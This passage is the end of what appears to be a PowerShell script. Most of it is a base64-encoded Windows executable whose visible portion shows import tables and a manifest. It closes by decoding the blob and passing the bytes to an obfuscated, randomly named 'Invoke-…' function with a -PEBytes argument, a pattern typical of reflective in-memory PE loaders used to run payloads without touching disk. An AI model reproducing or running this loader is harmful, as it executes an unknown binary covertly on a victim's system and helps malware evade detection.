Y2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFFBRV9OX05AWgBEAj9fT3NmeEA/JGJhc2ljX29zdHJlYW1ARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBRQUVYWFoAAGgDP2ZsdXNoQD8kYmFzaWNfb3N0cmVhbUBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFFBRUFBVjEyQFhaAMUEP3NldHN0YXRlQD8kYmFzaWNfaW9zQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBAUUFFWEhfTkBaAADYBD9zbmV4dGNAPyRiYXNpY19zdHJlYW1idWZARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBRQUVIWFoA4QQ/c3B1dG5APyRiYXNpY19zdHJlYW1idWZARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBRQUVfSlBCRF9KQFoAAM8EP3NnZXRjQD8kYmFzaWNfc3RyZWFtYnVmQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBAUUFFSFhaAADeBD9zcHV0Y0A/JGJhc2ljX3N0cmVhbWJ1ZkBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFFBRUhEQFoAwwM/Z2V0bG9jQGlvc19iYXNlQHN0ZEBAUUJFP0FWbG9jYWxlQDJAWFoAtgE/X0dldGNhdEA/JGN0eXBlQERAc3RkQEBTQUlQQVBCVmZhY2V0QGxvY2FsZUAyQFBCVjQyQEBaADEBPz9CaWRAbG9jYWxlQHN0ZEBAUUFFSVhaAABNU1ZDUDE0MC5kbGwAABAAX19DeHhGcmFtZUhhbmRsZXIzAAAiAF9fc3RkX2V4Y2VwdGlvbl9kZXN0cm95ACEAX19zdGRfZXhjZXB0aW9uX2NvcHkAACMAX19zdGRfdGVybWluYXRlAAEAX0N4eFRocm93RXhjZXB0aW9uAABIAG1lbXNldAAANQBfZXhjZXB0X2hhbmRsZXI0X2NvbW1vbgBWQ1JVTlRJTUUxNDAuZGxsAAA7AF9pbnZhbGlkX3BhcmFtZXRlcl9ub2luZm9fbm9yZXR1cm4AAAgAX2NhbGxuZXdoABkAbWFsbG9jAABCAF9zZWhfZmlsdGVyX2V4ZQBEAF9zZXRfYXBwX3R5cGUALgBfX3NldHVzZXJtYXRoZXJyAAAZAF9jb25maWd1cmVfbmFycm93X2FyZ3YAADUAX2luaXRpYWxpemVfbmFycm93X2Vudmlyb25tZW50AAAqAF9nZXRfaW5pdGlhbF9uYXJyb3dfZW52aXJvbm1lbnQAOABfaW5pdHRlcm0AOQBfaW5pdHRlcm1fZQBYAGV4aXQAACUAX2V4aXQAVABfc2V0X2Ztb2RlAAAFAF9fcF9fX2FyZ2MAAAYAX19wX19fYXJndgAAFwBfY2V4aXQAABYAX2NfZXhpdAA/AF9yZWdpc3Rlcl90aHJlYWRfbG9jYWxfZXhlX2F0ZXhpdF9jYWxsYmFjawAACABfY29uZmlndGhyZWFkbG9jYWxlABYAX3NldF9uZXdfbW9kZQABAF9fcF9fY29tbW9kZQAANgBfaW5pdGlhbGl6ZV9vbmV4aXRfdGFibGUAAD4AX3JlZ2lzdGVyX29uZXhpdF9mdW5jdGlvbgAfAF9jcnRfYXRleGl0ABgAZnJlZQAAHQBfY29udHJvbGZwX3MAAGoAdGVybWluYXRlAGFwaS1tcy13aW4tY3J0LXJ1bnRpbWUtbDEtMS0wLmRsbABhcGktbXMtd2luLWNydC1oZWFwLWwxLTEtMC5kbGwAAGFwaS1tcy13aW4tY3J0LW1hdGgtbDEtMS0wLmRsbAAAYXBpLW1zLXdpbi1jcnQtc3RkaW8tbDEtMS0wLmRsbABhcGktbXMtd2luLWNydC1sb2NhbGUtbDEtMS0wLmRsbAAArQVVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAG0FU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyABcCR2V0Q3VycmVudFByb2Nlc3MAjAVUZXJtaW5hdGVQcm9jZXNzAACGA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQATQRRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgAYAkdldEN1cnJlbnRQcm9jZXNzSWQAHAJHZXRDdXJyZW50VGhyZWFkSWQAAOkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAYwNJbml0aWFsaXplU0xpc3RIZWFkAH8DSXNEZWJ1Z2dlclByZXNlbnQAeAJHZXRNb2R1bGVIYW5kbGVXAABLRVJORUwzMi5kbGwAAEYAbWVtY3B5AABHAG1lbW1vdmUAAAAA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" [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) Invoke-COVDQSQKASLYKYN -PEBytes $PEBytes }